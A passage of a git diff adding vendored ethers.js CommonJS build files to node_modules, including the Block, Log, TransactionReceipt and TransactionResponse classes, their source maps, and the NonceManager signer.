prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this; + return { + _type: "Block", + baseFeePerGas: toJson(baseFeePerGas), + difficulty: toJson(difficulty), + extraData, + gasLimit: toJson(gasLimit), + gasUsed: toJson(gasUsed), + blobGasUsed: toJson(this.blobGasUsed), + excessBlobGas: toJson(this.excessBlobGas), + hash, miner, prevRandao, nonce, number, parentHash, timestamp, + parentBeaconBlockRoot, stateRoot, receiptsRoot, + transactions, + }; + } + [Symbol.iterator]() { + let index = 0; + const txs = this.transactions; + return { + next: () => { + if (index < this.length) { + return { + value: txs[index++], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The number of transactions in this block. + */ + get length() { return this.#transactions.length; } + /** + * The [[link-js-date]] this block was included at. + */ + get date() { + if (this.timestamp == null) { + return null; + } + return new Date(this.timestamp * 1000); + } + /** + * Get the transaction at %%indexe%% within this block. + */ + async getTransaction(indexOrHash) { + // Find the internal value by its index or hash + let tx = undefined; + if (typeof (indexOrHash) === "number") { + tx = this.#transactions[indexOrHash]; + } + else { + const hash = indexOrHash.toLowerCase(); + for (const v of this.#transactions) { + if (typeof (v) === "string") { + if (v !== hash) { + continue; + } + tx = v; + break; + } + else { + if (v.hash !== hash) { + continue; + } + tx = v; + break; + } + } + } + if (tx == null) { + throw new Error("no such tx"); + } + if (typeof (tx) === "string") { + return (await this.provider.getTransaction(tx)); + } + else { + return tx; + } + } + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash) { + const txs = this.prefetchedTransactions; + if (typeof (indexOrHash) === "number") { + return txs[indexOrHash]; + } + indexOrHash = indexOrHash.toLowerCase(); + for (const tx of txs) { + if (tx.hash === indexOrHash) { + return tx; + } + } + (0, index_js_1.assertArgument)(false, "no matching transaction", "indexOrHash", indexOrHash); + } + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined() { return !!this.hash; } + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon() { + return !!this.baseFeePerGas; + } + /** + * @_ignore: + */ + orphanedEvent() { + if (!this.isMined()) { + throw new Error(""); + } + return createOrphanedBlockFilter(this); + } +} +exports.Block = Block; +////////////////////// +// Log +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +class Log { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + transactionHash; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + blockHash; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + blockNumber; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + removed; + /** + * The address of the contract that emitted this log. + */ + address; + /** + * The data included in this log when it was emitted. + */ + data; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + topics; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + index; + /** + * The index within the transaction of this log. + */ + transactionIndex; + /** + * @_ignore: + */ + constructor(log, provider) { + this.provider = provider; + const topics = Object.freeze(log.topics.slice()); + (0, index_js_1.defineProperties)(this, { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + removed: log.removed, + address: log.address, + data: log.data, + topics, + index: log.index, + transactionIndex: log.transactionIndex, + }); + } + /** + * Returns a JSON-compatible object. + */ + toJSON() { + const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this; + return { + _type: "log", + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + }; + } + /** + * Returns the block that this log occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + (0, index_js_1.assert)(!!block, "failed to find transaction", "UNKNOWN_ERROR", {}); + return block; + } + /** + * Returns the transaction that this log occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.transactionHash); + (0, index_js_1.assert)(!!tx, "failed to find transaction", "UNKNOWN_ERROR", {}); + return tx; + } + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + async getTransactionReceipt() { + const receipt = await this.provider.getTransactionReceipt(this.transactionHash); + (0, index_js_1.assert)(!!receipt, "failed to find transaction receipt", "UNKNOWN_ERROR", {}); + return receipt; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedLogFilter(this); + } +} +exports.Log = Log; +////////////////////// +// Transaction Receipt +/* +export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; +} + +export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; +} +*/ +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +class TransactionReceipt { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + provider; + /** + * The address the transaction was sent to. + */ + to; + /** + * The sender of the transaction. + */ + from; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + contractAddress; + /** + * The transaction hash. + */ + hash; + /** + * The index of this transaction within the block transactions. + */ + index; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + blockHash; + /** + * The block number of the [[Block]] this transaction was included in. + */ + blockNumber; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + logsBloom; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + gasUsed; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + cumulativeGasUsed; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + gasPrice; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + blobGasPrice; + /** + * The [[link-eip-2718]] transaction type. + */ + type; + //readonly byzantium!: boolean; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + status; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + root; + #logs; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.#logs = Object.freeze(tx.logs.map((log) => { + return new Log(log, provider); + })); + let gasPrice = BN_0; + if (tx.effectiveGasPrice != null) { + gasPrice = tx.effectiveGasPrice; + } + else if (tx.gasPrice != null) { + gasPrice = tx.gasPrice; + } + (0, index_js_1.defineProperties)(this, { + provider, + to: tx.to, + from: tx.from, + contractAddress: tx.contractAddress, + hash: tx.hash, + index: tx.index, + blockHash: tx.blockHash, + blockNumber: tx.blockNumber, + logsBloom: tx.logsBloom, + gasUsed: tx.gasUsed, + cumulativeGasUsed: tx.cumulativeGasUsed, + blobGasUsed: tx.blobGasUsed, + gasPrice, + blobGasPrice: tx.blobGasPrice, + type: tx.type, + //byzantium: tx.byzantium, + status: tx.status, + root: tx.root + }); + } + /** + * The logs for this transaction. + */ + get logs() { return this.#logs; } + /** + * Returns a JSON-compatible representation. + */ + toJSON() { + const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, + status, root } = this; + return { + _type: "TransactionReceipt", + blockHash, blockNumber, + //byzantium, + contractAddress, + cumulativeGasUsed: toJson(this.cumulativeGasUsed), + from, + gasPrice: toJson(this.gasPrice), + blobGasUsed: toJson(this.blobGasUsed), + blobGasPrice: toJson(this.blobGasPrice), + gasUsed: toJson(this.gasUsed), + hash, index, logs, logsBloom, root, status, to + }; + } + /** + * @_ignore: + */ + get length() { return this.logs.length; } + [Symbol.iterator]() { + let index = 0; + return { + next: () => { + if (index < this.length) { + return { value: this.logs[index++], done: false }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The total fee for this transaction, in wei. + */ + get fee() { + return this.gasUsed * this.gasPrice; + } + /** + * Resolves to the block this transaction occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to the transaction this transaction occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.hash); + if (tx == null) { + throw new Error("TODO"); + } + return tx; + } + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + async getResult() { + return (await this.provider.getTransactionResult(this.hash)); + } + /** + * Resolves to the number of confirmations this transaction has. + */ + async confirmations() { + return (await this.provider.getBlockNumber()) - this.blockNumber + 1; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedTransactionFilter(this); + } + /** + * @_ignore: + */ + reorderedEvent(other) { + (0, index_js_1.assert)(!other || other.isMined(), "unmined 'other' transction cannot be orphaned", "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }); + return createReorderedTransactionFilter(this, other); + } +} +exports.TransactionReceipt = TransactionReceipt; +/** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +class TransactionResponse { + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockNumber; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockHash; + /** + * The index within the block that this transaction resides at. + */ + index; + /** + * The transaction hash. + */ + hash; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + type; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + to; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + from; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + nonce; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + gasLimit; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + gasPrice; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + maxPriorityFeePerGas; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + maxFeePerGas; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + maxFeePerBlobGas; + /** + * The data. + */ + data; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + value; + /** + * The chain ID. + */ + chainId; + /** + * The signature. + */ + signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + accessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList; + #startBlock; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.provider = provider; + this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null; + this.blockHash = (tx.blockHash != null) ? tx.blockHash : null; + this.hash = tx.hash; + this.index = tx.index; + this.type = tx.type; + this.from = tx.from; + this.to = tx.to || null; + this.gasLimit = tx.gasLimit; + this.nonce = tx.nonce; + this.data = tx.data; + this.value = tx.value; + this.gasPrice = tx.gasPrice; + this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null; + this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null; + this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null; + this.chainId = tx.chainId; + this.signature = tx.signature; + this.accessList = (tx.accessList != null) ? tx.accessList : null; + this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null; + this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null; + this.#startBlock = -1; + } + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON() { + const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this; + return { + _type: "TransactionResponse", + accessList, blockNumber, blockHash, + blobVersionedHashes, + chainId: toJson(this.chainId), + data, from, + gasLimit: toJson(this.gasLimit), + gasPrice: toJson(this.gasPrice), + hash, + maxFeePerGas: toJson(this.maxFeePerGas), + maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas), + maxFeePerBlobGas: toJson(this.maxFeePerBlobGas), + nonce, signature, to, index, type, + value: toJson(this.value), + }; + } + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + async getBlock() { + let blockNumber = this.blockNumber; + if (blockNumber == null) { + const tx = await this.getTransaction(); + if (tx) { + blockNumber = tx.blockNumber; + } + } + if (blockNumber == null) { + return null; + } + const block = this.provider.getBlock(blockNumber); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + async getTransaction() { + return this.provider.getTransaction(this.hash); + } + /** + * Resolve to the number of confirmations this transaction has. + */ + async confirmations() { + if (this.blockNumber == null) { + const { tx, blockNumber } = await (0, index_js_1.resolveProperties)({ + tx: this.getTransaction(), + blockNumber: this.provider.getBlockNumber() + }); + // Not mined yet... + if (tx == null || tx.blockNumber == null) { + return 0; + } + return blockNumber - tx.blockNumber + 1; + } + const blockNumber = await this.provider.getBlockNumber(); + return blockNumber - this.blockNumber + 1; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(_confirms, _timeout) { + const confirms = (_confirms == null) ? 1 : _confirms; + const timeout = (_timeout == null) ? 0 : _timeout; + let startBlock = this.#startBlock; + let nextScan = -1; + let stopScanning = (startBlock === -1) ? true : false; + const checkReplacement = async () => { + // Get the current transaction count for this sender + if (stopScanning) { + return null; + } + const { blockNumber, nonce } = await (0, index_js_1.resolveProperties)({ + blockNumber: this.provider.getBlockNumber(), + nonce: this.provider.getTransactionCount(this.from) + }); + // No transaction or our nonce has not been mined yet; but we + // can start scanning later when we do start + if (nonce < this.nonce) { + startBlock = blockNumber; + return; + } + // We were mined; no replacement + if (stopScanning) { + return null; + } + const mined = await this.getTransaction(); + if (mined && mined.blockNumber != null) { + return; + } + // We were replaced; start scanning for that transaction + // Starting to scan; look back a few extra blocks for safety + if (nextScan === -1) { + nextScan = startBlock - 3; + if (nextScan < this.#startBlock) { + nextScan = this.#startBlock; + } + } + while (nextScan <= blockNumber) { + // Get the next block to scan + if (stopScanning) { + return null; + } + const block = await this.provider.getBlock(nextScan, true); + // This should not happen; but we'll try again shortly + if (block == null) { + return; + } + // We were mined; no replacement + for (const hash of block) { + if (hash === this.hash) { + return; + } + } + // Search for the transaction that replaced us + for (let i = 0; i < block.length; i++) { + const tx = await block.getTransaction(i); + if (tx.from === this.from && tx.nonce === this.nonce) { + // Get the receipt + if (stopScanning) { + return null; + } + const receipt = await this.provider.getTransactionReceipt(tx.hash); + // This should not happen; but we'll try again shortly + if (receipt == null) { + return; + } + // We will retry this on the next block (this case could be optimized) + if ((blockNumber - receipt.blockNumber + 1) < confirms) { + return; + } + // The reason we were replaced + let reason = "replaced"; + if (tx.data === this.data && tx.to === this.to && tx.value === this.value) { + reason = "repriced"; + } + else if (tx.data === "0x" && tx.from === tx.to && tx.value === BN_0) { + reason = "cancelled"; + } + (0, index_js_1.assert)(false, "transaction was replaced", "TRANSACTION_REPLACED", { + cancelled: (reason === "replaced" || reason === "cancelled"), + reason, + replacement: tx.replaceableTransaction(startBlock), + hash: tx.hash, + receipt + }); + } + } + nextScan++; + } + return; + }; + const checkReceipt = (receipt) => { + if (receipt == null || receipt.status !== 0) { + return receipt; + } + (0, index_js_1.assert)(false, "transaction execution reverted", "CALL_EXCEPTION", { + action: "sendTransaction", + data: null, reason: null, invocation: null, revert: null, + transaction: { + to: receipt.to, + from: receipt.from, + data: "" // @TODO: in v7, split out sendTransaction properties + }, receipt + }); + }; + const receipt = await this.provider.getTransactionReceipt(this.hash); + if (confirms === 0) { + return checkReceipt(receipt); + } + if (receipt) { + if (confirms === 1 || (await receipt.confirmations()) >= confirms) { + return checkReceipt(receipt); + } + } + else { + // Check for a replacement; throws if a replacement was found + await checkReplacement(); + // Allow null only when the confirms is 0 + if (confirms === 0) { + return null; + } + } + const waiter = new Promise((resolve, reject) => { + // List of things to cancel when we have a result (one way or the other) + const cancellers = []; + const cancel = () => { cancellers.forEach((c) => c()); }; + // On cancel, stop scanning for replacements + cancellers.push(() => { stopScanning = true; }); + // Set up any timeout requested + if (timeout > 0) { + const timer = setTimeout(() => { + cancel(); + reject((0, index_js_1.makeError)("wait for transaction timeout", "TIMEOUT")); + }, timeout); + cancellers.push(() => { clearTimeout(timer); }); + } + const txListener = async (receipt) => { + // Done; return it! + if ((await receipt.confirmations()) >= confirms) { + cancel(); + try { + resolve(checkReceipt(receipt)); + } + catch (error) { + reject(error); + } + } + }; + cancellers.push(() => { this.provider.off(this.hash, txListener); }); + this.provider.on(this.hash, txListener); + // We support replacement detection; start checking + if (startBlock >= 0) { + const replaceListener = async () => { + try { + // Check for a replacement; this throws only if one is found + await checkReplacement(); + } + catch (error) { + // We were replaced (with enough confirms); re-throw the error + if ((0, index_js_1.isError)(error, "TRANSACTION_REPLACED")) { + cancel(); + reject(error); + return; + } + } + // Rescheudle a check on the next block + if (!stopScanning) { + this.provider.once("block", replaceListener); + } + }; + cancellers.push(() => { this.provider.off("block", replaceListener); }); + this.provider.once("block", replaceListener); + } + }); + return await waiter; + } + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined() { + return (this.blockHash != null); + } + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun() { + return (this.type === 3); + } + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent() { + (0, index_js_1.assert)(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createRemovedTransactionFilter(this); + } + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other) { + (0, index_js_1.assert)(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + (0, index_js_1.assert)(!other || other.isMined(), "unmined 'other' transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createReorderedTransactionFilter(this, other); + } + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock) { + (0, index_js_1.assertArgument)(Number.isInteger(startBlock) && startBlock >= 0, "invalid startBlock", "startBlock", startBlock); + const tx = new TransactionResponse(this, this.provider); + tx.#startBlock = startBlock; + return tx; + } +} +exports.TransactionResponse = TransactionResponse; +function createOrphanedBlockFilter(block) { + return { orphan: "drop-block", hash: block.hash, number: block.number }; +} +function createReorderedTransactionFilter(tx, other) { + return { orphan: "reorder-transaction", tx, other }; +} +function createRemovedTransactionFilter(tx) { + return { orphan: "drop-transaction", tx }; +} +function createRemovedLogFilter(log) { + return { orphan: "drop-log", log: { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + address: log.address, + data: log.data, + topics: Object.freeze(log.topics.slice()), + index: log.index + } }; +} +//# sourceMappingURL=provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider.js.map b/node_modules/ethers/lib.commonjs/providers/provider.js.map new file mode 100644 index 000000000000..be1edf3cc806 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider.js","sourceRoot":"","sources":["../../src.ts/providers/provider.ts"],"names":[],"mappings":";;;AAAA,0DAA0D;AAC1D,gDAI2B;AAC3B,sDAAwD;AAcxD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAsBvB,0BAA0B;AAE1B,SAAS,QAAQ,CAAI,KAA2B;IAC5C,IAAI,KAAK,IAAI,IAAI,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACnC,OAAO,KAAK,CAAC;AACjB,CAAC;AAED,SAAS,MAAM,CAAC,KAAoB;IAChC,IAAI,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AACxD,CAAC;AAED,SAAS,8BAA8B,CAAC,EAA4D;IAChG,OAAO,EAAE,MAAM,EAAE,kBAAkB,EAAE,EAAE,EAAE,CAAC;AAC9C,CAAC;AAED,SAAS,sBAAsB,CAAC,GAAqJ;IACjL,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,GAAG,EAAE;YAC9B,eAAe,EAAE,GAAG,CAAC,eAAe;YACpC,SAAS,EAAE,GAAG,CAAC,SAAS;YACxB,WAAW,EAAE,GAAG,CAAC,WAAW;YAC5B,OAAO,EAAE,GAAG,CAAC,OAAO;YACpB,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,MAAM,EAAE,MAAM,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,KAAK,EAAE,CAAC;YACzC,KAAK,EAAE,GAAG,CAAC,KAAK;SACnB,EAAE,CAAC;AACR,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts new file mode 100644 index 000000000000..4224b6011893 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts @@ -0,0 +1,38 @@ +import { AbstractSigner } from "./abstract-signer.js"; +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +export declare class NonceManager extends AbstractSigner { + #private; + /** + * The Signer being managed. + */ + signer: Signer; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer: Signer); + getAddress(): Promise; + connect(provider: null | Provider): NonceManager; + getNonce(blockTag?: BlockTag): Promise; + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment(): void; + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset(): void; + sendTransaction(tx: TransactionRequest): Promise; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=signer-noncemanager.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts.map b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts.map new file mode 100644 index 000000000000..7142ec444ab7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signer-noncemanager.d.ts","sourceRoot":"","sources":["../../src.ts/providers/signer-noncemanager.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAC;AAExE,OAAO,KAAK,EACR,QAAQ,EAAE,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,eAAe,CAAC;AACvB,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAG1C;;;;GAIG;AACH,qBAAa,YAAa,SAAQ,cAAc;;IAC5C;;OAEG;IACH,MAAM,EAAG,MAAM,CAAC;IAKhB;;OAEG;gBACS,MAAM,EAAE,MAAM;IAQpB,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC;IAInC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,YAAY;IAI1C,QAAQ,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC;IAapD;;;OAGG;IACH,SAAS,IAAI,IAAI;IAIjB;;;OAGG;IACH,KAAK,IAAI,IAAI;IAKP,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,mBAAmB,CAAC;IAY3E,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIxD,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC;IAI1D,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAGpI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js new file mode 100644 index 000000000000..4989e410114a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js @@ -0,0 +1,78 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.NonceManager = void 0; +const index_js_1 = require("../utils/index.js"); +const abstract_signer_js_1 = require("./abstract-signer.js"); +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +class NonceManager extends abstract_signer_js_1.AbstractSigner { + /** + * The Signer being managed. + */ + signer; + #noncePromise; + #delta; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer) { + super(signer.provider); + (0, index_js_1.defineProperties)(this, { signer }); + this.#noncePromise = null; + this.#delta = 0; + } + async getAddress() { + return this.signer.getAddress(); + } + connect(provider) { + return new NonceManager(this.signer.connect(provider)); + } + async getNonce(blockTag) { + if (blockTag === "pending") { + if (this.#noncePromise == null) { + this.#noncePromise = super.getNonce("pending"); + } + const delta = this.#delta; + return (await this.#noncePromise) + delta; + } + return super.getNonce(blockTag); + } + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment() { + this.#delta++; + } + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset() { + this.#delta = 0; + this.#noncePromise = null; + } + async sendTransaction(tx) { + const noncePromise = this.getNonce("pending"); + this.increment(); + tx = await this.signer.populateTransaction(tx); + tx.nonce = await noncePromise; + // @TODO: Maybe handle interesting/recoverable errors? + // Like don't increment if the tx was certainly not sent + return await this.signer.sendTransaction(tx); + } + signTransaction(tx) { + return this.signer.signTransaction(tx); + } + signMessage(message) { + return this.signer.signMessage(message); + } + signTypedData(domain, types, value) { + return this.signer.signTypedData(domain, types, value); + } +} +exports.NonceManager = NonceManager; +//# sourceMappingURL=signer-noncemanager.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js.map b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js.map new file mode 100644 index 000000000000..e3efb0be0d38 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer-noncemanager.js.map @@ -0,0 +1 @@ 